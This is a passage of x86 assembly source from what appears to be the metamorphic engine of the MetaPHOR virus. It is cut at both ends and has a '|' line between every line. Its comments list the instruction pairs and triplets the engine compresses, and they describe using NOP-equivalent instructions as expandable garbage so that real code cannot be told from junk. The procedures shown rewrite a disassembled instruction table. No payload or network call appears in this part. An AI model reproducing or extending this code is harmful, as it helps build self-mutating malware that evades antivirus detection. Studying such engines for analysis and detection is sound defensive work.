;; AND Mem,0 --> MOV Mem,0
|
|
;; XOR Reg,Reg --> MOV Reg,0
|
|
;; SUB Reg,Reg --> MOV Reg,0
|
|
;; OR Reg,Reg --> CMP Reg,0
|
|
;; AND Reg,Reg --> CMP Reg,0
|
|
;; TEST Reg,Reg --> CMP Reg,0
|
|
;; LEA Reg,[Imm] --> MOV Reg,Imm
|
|
;; LEA Reg,[Reg+Imm] --> ADD Reg,Imm
|
|
;; LEA Reg,[Reg2] --> MOV Reg,Reg2
|
|
;; LEA Reg,[Reg+Reg2] --> ADD Reg,Reg2
|
|
;; LEA Reg,[Reg2+Reg2+xxx] --> LEA Reg,[2*Reg2+xxx]
|
|
;; MOV Reg,Reg --> NOP
|
|
;; MOV Mem,Mem --> NOP (result of a compression of
|
|
;; PUSH Mem/POP Mem, with pseudoopcode 4F)
|
|
;;
|
|
;; The instructions that are eliminated (the ones that mean NOP) are be used
|
|
;; as garbage along the executable code. Since every NOP instruction can be
|
|
;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every
|
|
;; PUSH and POP also can be expanded, and so on) you can't know what's garbage
|
|
;; and what's not until you have compressed everything.
|
|
;;
|
|
;; The pairs of instructions that MetaPHOR can compress are:
|
|
;;
|
|
;; PUSH Imm / POP Reg --> MOV Reg,Imm
|
|
;; PUSH Imm / POP Mem --> MOV Mem,Imm
|
|
;; PUSH Reg / POP Reg2 --> MOV Reg2,Reg
|
|
;; PUSH Reg / POP Mem --> MOV Mem,Reg
|
|
;; PUSH Mem / POP Reg --> MOV Reg,Mem
|
|
;; PUSH Mem / POP Mem2 --> MOV Mem2,Mem (codificated
|
|
;; with pseudoopcode 4F)
|
|
;; MOV Mem,Reg/PUSH Mem --> PUSH Reg
|
|
;; POP Mem / MOV Reg,Mem --> POP Reg
|
|
;; POP Mem2 / MOV Mem,Mem2 --> POP Mem
|
|
;; MOV Mem,Reg / MOV Reg2,Mem --> MOV Reg2,Reg
|
|
;; MOV Mem,Imm / PUSH Mem --> PUSH Imm
|
|
;; MOV Mem,Imm / OP Reg,Mem --> OP Reg,Imm
|
|
;; MOV Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg2+Imm]
|
|
;; MOV Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg2+Imm]
|
|
;; MOV Reg,Reg2 / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3]
|
|
;; ADD Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg+Reg2+Imm]
|
|
;; ADD Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg+Reg2+Imm]
|
|
;; OP Reg,Imm / OP Reg,Imm2 --> OP Reg,(Imm OP Imm2)
|
|
;; (must be calculated)
|
|
;; OP Mem,Imm / OP Mem,Imm2 --> OP Mem,(Imm OP Imm2)
|
|
;; (must be calculated)
|
|
;; LEA Reg,[Reg2+Imm] / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3+Imm]
|
|
;; LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm]
|
|
;; POP Mem / PUSH Mem --> NOP
|
|
;; MOV Mem2,Mem / MOV Mem3,Mem2 --> MOV Mem3,Mem
|
|
;; MOV Mem2,Mem / OP Reg,Mem2 --> OP Reg,Mem
|
|
;; MOV Mem2,Mem / MOV Mem2,xxx --> MOV Mem2,xxx
|
|
;; MOV Mem,Reg / CALL Mem --> CALL Reg
|
|
;; MOV Mem,Reg / JMP Mem --> JMP Reg
|
|
;; MOV Mem2,Mem / CALL Mem2 --> CALL Mem
|
|
;; MOV Mem2,Mem / JMP Mem2 --> JMP Mem
|
|
;; MOV Mem,Reg / MOV Mem2,Mem --> MOV Mem2,Reg
|
|
;; OP Reg,xxx / MOV Reg,yyy --> MOV Reg,yyy
|
|
;; Jcc @xxx / !Jcc @xxx --> JMP @xxx (this applies to
|
|
;; (Jcc & 0FEh) with (Jcc | 1)
|
|
;; NOT Reg / NEG Reg --> ADD Reg,1
|
|
;; NOT Reg / ADD Reg,1 --> NEG Reg
|
|
;; NOT Mem / NEG Mem --> ADD Mem,1
|
|
;; NOT Mem / ADD Mem,1 --> NEG Mem
|
|
;; NEG Reg / NOT Reg --> ADD Reg,-1
|
|
;; NEG Reg / ADD Reg,-1 --> NOT Reg
|
|
;; NEG Mem / NOT Mem --> ADD Mem,-1
|
|
;; NEG Mem / ADD Mem,-1 --> NOT Mem
|
|
;; CMP X,Y / != Jcc (CMP without Jcc) --> NOP
|
|
;; TEST X,Y / != Jcc --> NOP
|
|
;; POP Mem / JMP Mem --> RET
|
|
;; PUSH Reg / RET --> JMP Reg
|
|
;; CALL Mem / MOV Mem2,EAX --> CALL Mem / APICALL_STORE Mem2
|
|
;; MOV Reg,Mem / CALL Reg --> CALL Mem
|
|
;; XOR Reg,Reg / MOV Reg8,[Mem] --> MOVZX Reg,byte ptr [Mem]
|
|
;; MOV Reg,[Mem] / AND Reg,0FFh --> MOVZX Reg,byte ptr [Mem]
|
|
;;
|
|
;;
|
|
;; Maybe there are more, but this set is sufficient, at least for our
|
|
;; proposits. What we do know is scan the code for this situations and then we
|
|
;; substitute the first instruction by their equivalent and we overwrite with
|
|
;; NOP the second, so the instructions are compressed.
|
|
;;
|
|
;; But there are more: the triplets:
|
|
;;
|
|
;; MOV Mem,Reg
|
|
;; OP Mem,Reg2
|
|
;; MOV Reg,Mem --> OP Reg,Reg2
|
|
;;
|
|
;; MOV Mem,Reg
|
|
;; OP Mem,Imm
|
|
;; MOV Reg,Mem --> OP Reg,Imm
|
|
;;
|
|
;; MOV Mem,Imm
|
|
;; OP Mem,Reg
|
|
;; MOV Reg,Mem --> OP Reg,Imm (it can't be SUB)
|
|
;;
|
|
;; MOV Mem2,Mem
|
|
;; OP Mem2,Reg
|
|
;; MOV Mem,Mem2 --> OP Mem,Reg
|
|
;;
|
|
;; MOV Mem2,Mem
|
|
;; OP Mem2,Imm
|
|
;; MOV Mem,Mem2 --> OP Mem,Imm
|
|
;;
|
|
;; CMP Reg,Reg
|
|
;; JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx
|
|
;; != Jcc --> NOP
|
|
;;
|
|
;; CMP Reg,Reg
|
|
;; JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx
|
|
;; != Jcc --> JMP @xxx
|
|
;;
|
|
;; MOV Mem,Imm
|
|
;; CMP/TEST Reg,Mem
|
|
;; Jcc @xxx --> CMP/TEST Reg,Imm
|
|
;; Jcc @xxx
|
|
;; MOV Mem,Reg
|
|
;; SUB/CMP Mem,Reg2
|
|
;; Jcc @xxx --> CMP Reg,Reg2
|
|
;; Jcc @xxx
|
|
;; MOV Mem,Reg
|
|
;; AND/TEST Mem,Reg2
|
|
;; Jcc @xxx --> TEST Reg,Reg2
|
|
;; Jcc @xxx
|
|
;; MOV Mem,Reg
|
|
;; SUB/CMP Mem,Imm
|
|
;; Jcc @xxx --> CMP Reg,Imm
|
|
;; Jcc @xxx
|
|
;; MOV Mem,Reg
|
|
;; AND/TEST Mem,Imm
|
|
;; Jcc @xxx --> TEST Reg,Imm
|
|
;; Jcc @xxx
|
|
;; MOV Mem2,Mem
|
|
;; CMP/TEST Reg,Mem2
|
|
;; Jcc @xxx --> CMP/TEST Reg,Mem
|
|
;; Jcc @xxx
|
|
;; MOV Mem2,Mem
|
|
;; AND/TEST Mem2,Reg
|
|
;; Jcc @xxx --> TEST Mem,Reg
|
|
;; Jcc @xxx
|
|
;; MOV Mem2,Mem
|
|
;; SUB/CMP Mem2,Reg
|
|
;; Jcc @xxx --> CMP Mem,Reg
|
|
;; Jcc @xxx
|
|
;; MOV Mem2,Mem
|
|
;; AND/TEST Mem2,Imm
|
|
;; Jcc @xxx --> TEST Mem,Imm
|
|
;; Jcc @xxx
|
|
;; MOV Mem2,Mem
|
|
;; SUB/CMP Mem2,Imm
|
|
;; Jcc @xxx --> CMP Mem,Imm
|
|
;; Jcc @xxx
|
|
;; PUSH EAX
|
|
;; PUSH ECX
|
|
;; PUSH EDX --> APICALL_BEGIN
|
|
;;
|
|
;; POP EDX
|
|
;; POP ECX
|
|
;; POP EAX --> APICALL_END
|
|
;;----------------------------------------------------------------------------
|
|
;;
|
|
;; ShrinkCode acts over the disassembled buffer in [InstructionTable].
|
|
;;
|
|
ShrinkCode proc
|
|
mov edi, [ebp+InstructionTable]
|
|
mov eax, [edi]
|
|
and eax, 0FFh ; Get pseudo-opcode
|
|
call CheckIfInstructionUsesMem ; Uses a memory address?
|
|
or eax, eax
|
|
jz @@Shrink ; If not, continue
|
|
call OrderRegs ; Order the indexes of the instruction
|
|
; from lower to upper
|
|
@@Shrink: mov eax, [edi]
|
|
and eax, 0FFh ; Get pseudo-op
|
|
cmp eax, 0FFh ; Is it NOP?
|
|
jz @@IncreaseEIP ; If so, increase pointer
|
|
call ShrinkThisInstructions ; Check for singles, pairs or
|
|
; triplets
|
|
or eax, eax ; Do we performed a compression?
|
|
jz @@IncreaseEIP ; If we don't, increase pointer
|
|
call DecreaseEIP ; Decrease the pointer three instructions
|
|
call DecreaseEIP ; to get a possible matching group with
|
|
call DecreaseEIP ; the two above.
|
|
jmp @@Shrink ; Check again
|
|
|
|
@@IncreaseEIP:
|
|
call IncreaseEIP ; Increase pointer
|
|
cmp edi, [ebp+AddressOfLastInstruction] ; Last instruction?
|
|
jnz @@Shrink ; If not, check next group
|
|
|
|
@@DecreaseAddressOfLastInstruction:
|
|
sub edi, 10h ; Now we eliminate the remaining NOPs
|
|
mov eax, [edi] ; at the end of all the instructions.
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jnz @@LastInstructionOK
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
jmp @@DecreaseAddressOfLastInstruction
|
|
@@LastInstructionOK:
|
|
|
|
;; Second pass to find APICALL_BEGIN, APICALL_END and SET_WEIGHT
|
|
mov edi, [ebp+InstructionTable]
|
|
|
|
@@FindAPICALL_X:
|
|
@@GetFirstInstruction:
|
|
call IncreaseEIP2 ; Increase pointer
|
|
cmp eax, -1 ; End of instruction table?
|
|
jz @@EndOfScan ; If so, finish the search
|
|
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 50h
|
|
jnz @@ItsNot_SET_WEIGHT
|
|
push edi
|
|
mov esi, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov edx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov ecx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 43h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov ebx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov esi, eax
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov esi, [ecx+1]
|
|
and esi, 0FFh
|
|
mov eax, [ebx+7]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
pop esi
|
|
mov eax, 0F7h ; SET_WEIGHT
|
|
mov [esi], al
|
|
mov eax, [esi+1]
|
|
mov [esi+9], al
|
|
mov eax, [ebx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [ebx+3]
|
|
mov [esi+3], eax
|
|
mov eax, [edx+7]
|
|
mov [esi+7], al
|
|
mov eax, [ecx+1]
|
|
mov [esi+8], al
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
mov [ecx], eax
|
|
mov [ebx], eax
|
|
mov [edi], eax
|
|
jmp @@AllOK
|
|
@@ItsNot_SET_WEIGHT_2:
|
|
pop edi
|
|
@@ItsNot_SET_WEIGHT:
|
|
@@AllOK:
|
|
|
|
|
|
@@CheckAPICALL_X:
|
|
|
|
mov edx, edi ; Save pointer in EDX
|
|
push edi
|
|
|
|
@@GetSecondInstruction:
|
|
call IncreaseEIP2 ; Get next
|
|
cmp eax, -1 ; End of code?
|
|
jz @@EndOfScan ; Finish, then
|
|
or eax, eax ; Label over the instruction?
|
|
jnz @@EndOfTriplet ; If there's label, ignore the group
|
|
mov esi, edi ; Put pointer in ESI
|
|
|
|
@@GetThirdInstruction:
|
|
call IncreaseEIP2 ; Do the same: increase pointer and check
|
|
cmp eax, -1 ; for end of code or a label over the
|
|
jz @@EndOfScan ; instruction
|
|
or eax, eax
|
|
jnz @@EndOfTriplet
|
|
|
|
mov eax, [edx] ; Get the first instruction
|
|
and eax, 0FFh
|
|
cmp eax, 50h ; PUSH Reg?
|
|
jnz @@FindAPICALL_END ; If not, check next instruction
|
|
mov eax, [esi] ; Get the second instruction
|
|
and eax, 0FFh
|
|
cmp eax, 50h ; PUSH Reg?
|
|
jnz @@FindAPICALL_END ; If not, next instruction
|
|
mov eax, [edi] ; Get the third instruction
|
|
and eax, 0FFh
|
|
cmp eax, 50h ; PUSH Reg?
|
|
jnz @@FindAPICALL_END ; If not, next instruction
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
or eax, eax ; First instruction is PUSH EAX?
|
|
jnz @@FindAPICALL_END ; If it isn't, it's not APICALL_*
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 1 ; Is it PUSH ECX?
|
|
jnz @@FindAPICALL_END ; If not, check other
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 2 ; Is it PUSH EDX
|
|
jnz @@FindAPICALL_END ; If not, check other
|
|
mov eax, 0F4h ; APICALL_BEGIN
|
|
@@SetAPICALL_X:
|
|
mov [edx], eax ; Set instruction
|
|
mov eax, 0FFh
|
|
mov [esi], eax ; NOP the second and third instruction
|
|
mov [edi], eax
|
|
jmp @@EndOfTriplet ; Check next group
|
|
|
|
@@FindAPICALL_END:
|
|
mov eax, [edx] ; Get the first instruction
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; POP Reg?
|
|
jnz @@EndOfTriplet ; If not, next group
|
|
mov eax, [esi] ; Check the second instruction
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; POP Reg?
|
|
jnz @@EndOfTriplet ; If not, next group
|
|
mov eax, [edi] ; Get the third instruction
|
|
and eax, 0FFh
|
|
cmp eax, 58h ; POP Reg?
|
|
jnz @@EndOfTriplet ; If not, next group
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
cmp eax, 2 ; First instruction = POP EDX?
|
|
jnz @@EndOfTriplet ; If not, check next group
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 1 ; Second instruction = POP ECX?
|
|
jnz @@EndOfTriplet ; If not, check next group
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
or eax, eax ; Third instruction = POP EAX?
|
|
jnz @@EndOfTriplet ; If not, check next group
|
|
mov eax, 0F5h ; Set APICALL_END
|
|
jmp @@SetAPICALL_X
|
|
|
|
@@EndOfTriplet:
|
|
pop edi ; Restore pointer and check next triplet
|
|
jmp @@FindAPICALL_X
|
|
|
|
@@EndOfScan:
|
|
pop edi
|
|
ret
|
|
ShrinkCode endp
|
|
|
|
;; Function used while we scan for APICALL_BEGIN and APICALL_END
|
|
IncreaseEIP2 proc
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndOfScan
|
|
add edi, 10h ; Increase instruction pointer
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndOfScan ; If we finished the code, return -1
|
|
mov eax, [edi] ; Get the instruction
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh ; If it's NOP, increase again
|
|
jz IncreaseEIP2
|
|
mov eax, [edi+0Bh] ; Get the label flag
|
|
and eax, 0FFh ; Return 1 if the instruction has a
|
|
ret ; label pointing to it or 0 if it doesn't have it
|
|
@@EndOfScan:
|
|
mov eax, -1
|
|
ret
|
|
IncreaseEIP2 endp
|
|
|
|
;; Function that decreases the instruction pointer. It will decrease while
|
|
;; the instruction is NOP, unless it's the first or it's labelled.
|
|
DecreaseEIP proc
|
|
@@Again: cmp edi, [ebp+InstructionTable] ; if we are just at the
|
|
jz @@OK ; beginning, return
|
|
mov eax, [edi+0Bh] ; Check label
|
|
and eax, 0FFh ; If the current instruction is labelled,
|
|
or eax, eax ; finish the decreasing
|
|
jnz @@OK
|
|
sub edi, 10h ; Decrease the pointer
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh ; Is it NOP?
|
|
jz @@Again ; If it is, decrease again
|
|
@@OK: ret
|
|
DecreaseEIP endp
|
|
|
|
;; Function that increases the instruction pointer. It will increase until
|
|
;; the current instruction isn't NOP or it's the last instruction of the code.
|
|
IncreaseEIP proc
|
|
mov ecx, [ebp+AddressOfLastInstruction]
|
|
cmp edi, ecx ; Pointing to last instruction?
|
|
jz @@_End ; If so, end
|
|
@@Again: add edi, 10h ; Check next
|
|
cmp edi, ecx ; Last instruction?
|
|
jz @@_End ; If so, end
|
|
mov eax, [edi+0Bh] ; Check if it's labelled
|
|
and eax, 0FFh
|
|
or eax, eax ; If it's labelled, end increasing
|
|
jnz @@End
|
|
mov eax, [edi] ; Get instruction
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh ; If it's NOP, increase again
|
|
jz @@Again
|
|
@@End: mov eax, [edi]
|
|
and eax, 0FFh ; Check if the instruction uses a
|
|
call CheckIfInstructionUsesMem ; memory address
|
|
or eax, eax
|
|
jz @@_End
|
|
call OrderRegs ; If it uses a memory address, order the
|
|
; indexes
|
|
mov eax, [edi] ; Check if the instruction is MOV Mem,Mem
|
|
and eax, 0FFh
|
|
cmp eax, 4Fh
|
|
jnz @@_End
|
|
push edi ; If it's MOV Mem,Mem, order the indexes
|
|
mov edi, [edi+7] ; of the extended part
|
|
call OrderRegs
|
|
pop edi
|
|
@@_End: ret
|
|
IncreaseEIP endp
|
|
|
|
;; Function to order the indexes in an instruction that uses a memory address.
|
|
;; If it has a single index, it's set at +1 (since the disassembler maybe put
|
|
;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave
|
|
;; it at +2 (by specifications). If the instruction has two indexes with no
|
|
;; multiplicators, put the lower one at +1 and other at +2. In case that the
|
|
;; one at +2 has a multiplicator, the indexes are unexchanged.
|
|
OrderRegs proc
|
|
push edx
|
|
mov eax, [edi+1] ; Check the index
|
|
and eax, 0FFh
|
|
cmp eax, 8 ; If it doesn't exists, check the
|
|
jnz @@_Next ; second index
|
|
mov eax, [edi+2] ; Get the second index
|
|
and eax, 0FFh
|
|
cmp eax, 7 ; If it has a scalar modification (*2,
|
|
ja @@_End ; *4 or *8) just leave it.
|
|
; At this point, +1 is free and +2 holds an index
|
|
mov edx, [edi+1] ; Put the index at +1
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+2] ; Free the position at +2
|
|
and eax, 0FFFFFF00h
|
|
add eax, 8
|
|
mov [edi+2], eax
|
|
@@_End: pop edx ; Return
|
|
ret
|
|
; At this point, we put the lowest at +1. +1 is sure to hold
|
|
; a register, so +2 holds another one, 8 (no one) or one with
|
|
; multiplicator. In all cases, we can check for the lowest
|
|
; number and put it at +1 and we are ordering them (since a
|
|
; free position at +2 would be 8, which is always > [+1] or
|
|
; would use a scalar, so it would be >= 40h)
|
|
@@_Next: mov eax, [edi+2] ; Get the two indexes
|
|
mov edx, [edi+1]
|
|
and eax, 0FFh
|
|
and edx, 0FFh
|
|
cmp eax, edx ; If EAX > EDX, they are already ordered
|
|
ja @@_End
|
|
push eax
|
|
mov edx, [edi+2] ; Get the lowest at +2 in EDX
|
|
mov eax, [edi+1] ; Get the highest at +1 in EAX
|
|
and eax, 0FFh
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx ; Combine the data
|
|
mov [edi+2], eax ; Set the register at +2
|
|
pop eax
|
|
mov edx, [edi+1] ; Get the DWORD at +1 (keep all info)
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx ; Merge it with the lowest register
|
|
mov [edi+1], eax ; Set it at +1
|
|
pop edx
|
|
ret ; Return with the indexes ordered
|
|
OrderRegs endp
|
|
|
|
; EDI = Instruction pointer
|
|
; ECX = Address of last instruction
|
|
; returns:
|
|
; EAX != 0 if compressed, EAX = 0 if left unchanged
|
|
ShrinkThisInstructions proc
|
|
;;; Single instructions. The instructions are converted to their equivalent
|
|
;;; from the obfuscated form. In this way we also make easier the search of
|
|
;;; pairs and triplets.
|
|
push edi
|
|
@@Check_Single:
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 30h ; Check XOR Reg,Imm
|
|
jnz @@Single_Next00
|
|
mov ecx, 0E0h ; Maybe it's NOT Reg
|
|
@@Single_Next_CommonXOR_s1:
|
|
mov eax, [edi+7] ; Get the Imm
|
|
@@Single_Next_CommonXOR_s1_2:
|
|
cmp eax, -1 ; Check if it's -1
|
|
jz @@Single_SetInstructionECX ; If it is, set opcode <ECX>
|
|
@@Single_Next_CheckNulOP:
|
|
or eax, eax ; Check if it's XOR with 0
|
|
jnz @@Single_End
|
|
jmp @@Single_SetNOP ; If it's 0, set a NOP
|
|
@@Single_SetInstructionECX:
|
|
mov eax, ecx ; Set the opcode in <ECX>
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next00:
|
|
;mov al, [edi]
|
|
cmp eax, 34h ; Check XOR Mem,Imm
|
|
jnz @@Single_Next00_
|
|
mov ecx, 0E1h ; Set NOT Mem if Imm == -1
|
|
jmp @@Single_Next_CommonXOR_s1
|
|
|
|
@@Single_Next00_:
|
|
cmp eax, 4Bh ; Check TEST Mem,Reg
|
|
jnz @@Single_Next00__
|
|
mov eax, 4Ah ; If it is, set TEST Reg,Mem (the other
|
|
jmp @@Single_SetInstruction ; possibility doesn't exist)
|
|
|
|
@@Single_Next00__:
|
|
cmp eax, 4Bh+80h ; Check TEST Mem,Reg (8 bits)
|
|
jnz @@Single_Next01
|
|
mov eax, 4Ah+80h ; It it is, set TEST Reg,Mem (8 bits)
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next01:
|
|
;mov al, [edi]
|
|
cmp eax, 30h+80h ; XOR Reg8,Imm8?
|
|
jnz @@Single_Next02
|
|
mov ecx, 0E2h ; Set NOT if Imm8 == -1
|
|
@@Single_Next01_GetSigned:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 80h
|
|
jb @@Single_Next01_NotSigned
|
|
add eax, 0FFFFFF00h
|
|
@@Single_Next01_NotSigned:
|
|
jmp @@Single_Next_CommonXOR_s1_2
|
|
|
|
@@Single_Next02:
|
|
;mov al, [edi]
|
|
cmp eax, 34h+80h ; XOR Mem8,Imm8?
|
|
jnz @@Single_Next03
|
|
mov ecx, 0E3h ; Set NOT if Imm8 == -1
|
|
jmp @@Single_Next01_GetSigned
|
|
|
|
@@Single_Next03:
|
|
;mov al, [edi]
|
|
cmp eax, 41h ; MOV Reg,Reg?
|
|
jnz @@Single_Next04
|
|
@@Single_Next_CommonMOV:
|
|
mov eax, [edi+1] ; Check if source and destiny are
|
|
mov ecx, [edi+7] ; the same
|
|
and eax, 0FFh
|
|
and ecx, 0FFh
|
|
cmp eax, ecx ; If they are, set NOP
|
|
jnz @@Single_End
|
|
@@Single_SetNOP:
|
|
mov eax, 0FFh
|
|
@@Single_SetInstruction:
|
|
mov ecx, [edi] ; Get the DWORD at [EDI]
|
|
and ecx, 0FFFFFF00h
|
|
and eax, 0FFh ; Set 0FF on the lower byte (set NOP)
|
|
add eax, ecx
|
|
mov [edi], eax ; Write back the DWORD
|
|
jmp @@EndCompressed
|
|
|
|
@@Single_Next04:
|
|
;mov al, [edi]
|
|
cmp eax, 41h+80h ; MOV Reg8,Reg8?
|
|
jz @@Single_Next_CommonMOV
|
|
|
|
@@Single_Next05:
|
|
;mov al, [edi]
|
|
cmp eax, 28h ; SUB Reg,Imm?
|
|
jnz @@Single_Next06
|
|
xor ecx, ecx ; Just put ADD
|
|
@@Single_Next_NegateImm:
|
|
mov eax, [edi+7] ; Negate the Imm
|
|
neg eax
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX ; Set the opcode of ADD
|
|
|
|
@@Single_Next06:
|
|
;mov al, [edi]
|
|
cmp eax, 28h+80h ; SUB Reg8,Imm8?
|
|
jnz @@Single_Next07
|
|
mov ecx, 00h+80h ; Set the opcode of ADD Reg8,Imm8
|
|
jmp @@Single_Next_NegateImm ; Jump to negate the Imm
|
|
|
|
@@Single_Next07:
|
|
;mov al, [edi]
|
|
cmp eax, 2Ch ; SUB Mem,Imm?
|
|
jnz @@Single_Next08
|
|
mov ecx, 04h ; Set ADD Mem,-Imm
|
|
jmp @@Single_Next_NegateImm
|
|
|
|
@@Single_Next08:
|
|
;mov al, [edi]
|
|
cmp eax, 2Ch+80h ; SUB Mem8,Imm8?
|
|
jnz @@Single_Next09
|
|
mov ecx, 04h+80h ; Set ADD Mem8,-Imm8
|
|
jmp @@Single_Next_NegateImm
|
|
|
|
@@Single_Next09:
|
|
;mov al, [edi]
|
|
or eax, eax ; ADD Reg,Imm?
|
|
jnz @@Single_Next10
|
|
@@Single_Next_CheckNulOP_2:
|
|
mov eax, [edi+7] ; Check if it's ADD Reg,0. If it is,
|
|
jmp @@Single_Next_CheckNulOP ; anulate the instruction
|
|
|
|
@@Single_Next10:
|
|
cmp eax, 4 ; ADD Mem,Imm?
|
|
jz @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0
|
|
cmp eax, 04h+80h ; ADD Mem8,Imm8?
|
|
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
|
|
cmp eax, 0Ch ; OR Mem,Imm?
|
|
jz @@Single_Next_CheckNulOP_2 ; Check for Imm == 0
|
|
cmp eax, 0Ch+80h ; OR Mem8,Imm8?
|
|
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
|
|
cmp eax, 24h+80h ; AND Mem8,Imm8?
|
|
jz @@Single_Next10_Check_s1_8b ; Check for Imm8 == -1 or 0
|
|
cmp eax, 24h ; AND Mem,Imm?
|
|
jnz @@Single_Next10_ ; Check for Imm == -1 or 0
|
|
@@Single_Next10_Check_s1:
|
|
mov eax, [edi+7] ; Get Imm
|
|
cmp eax, -1
|
|
jz @@Single_SetNOP ; If Imm == -1, set NOP
|
|
or eax, eax
|
|
jnz @@Single_End ; If Imm == 0,
|
|
mov eax, 44h ; set MOV Mem,0
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next10_Check_s1_8b:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh ; Check if Imm8 == -1
|
|
jz @@Single_SetNOP ; If it is, set NOP
|
|
or eax, eax ; Check if Imm8 == 0
|
|
jnz @@Single_End ; If it isn't, check doubles
|
|
mov eax, 44h+80h ; Set MOV Mem8,0
|
|
jmp @@Single_SetInstruction
|
|
|
|
|
|
@@Single_Next10_:
|
|
;mov al, [edi]
|
|
cmp eax, 00h+80h ; ADD Reg8,Imm8?
|
|
jnz @@Single_Next11
|
|
@@Single_Next_CheckNulOP_2_8b:
|
|
;xor eax, eax
|
|
mov eax, [edi+7] ; Get the Imm and go to check if it's 0
|
|
and eax, 0FFh
|
|
jmp @@Single_Next_CheckNulOP
|
|
|
|
@@Single_Next11:
|
|
;mov al, [edi]
|
|
cmp eax, 08h ; OR Reg,Imm?
|
|
jz @@Single_Next_CheckNulOP_2 ; Check if Imm is 0
|
|
|
|
@@Single_Next12:
|
|
;mov al, [edi]
|
|
cmp eax, 08h+80h ; OR Reg8,Imm8?
|
|
jz @@Single_Next_CheckNulOP_2_8b ; Check if is 0
|
|
|
|
@@Single_Next13:
|
|
;mov al, [edi]
|
|
cmp eax, 20h ; AND Reg,Imm?
|
|
jnz @@Single_Next14
|
|
mov eax, [edi+7] ; Check if Imm == -1
|
|
cmp eax, -1
|
|
jz @@Single_SetNOP ; If it is, set NOP
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
mov eax, 40h ; If it's 0, set MOV Reg,0
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next14:
|
|
;mov al, [edi]
|
|
cmp eax, 20h+80h ; AND Reg8,Imm8?
|
|
jnz @@Single_Next15
|
|
mov eax, [edi+7] ; Get Imm8
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh ; Check if it's -1
|
|
jz @@Single_SetNOP ; If it is, set NOP
|
|
or eax, eax
|
|
jnz @@Single_End ; Check if it's 0
|
|
mov eax, 40h+80h ; If it is, set MOV Reg,0
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next15:
|
|
;mov al, [edi]
|
|
cmp eax, 31h ; XOR Reg,Reg?
|
|
jnz @@Single_Next16
|
|
@@Single_Next_CheckSetTo0:
|
|
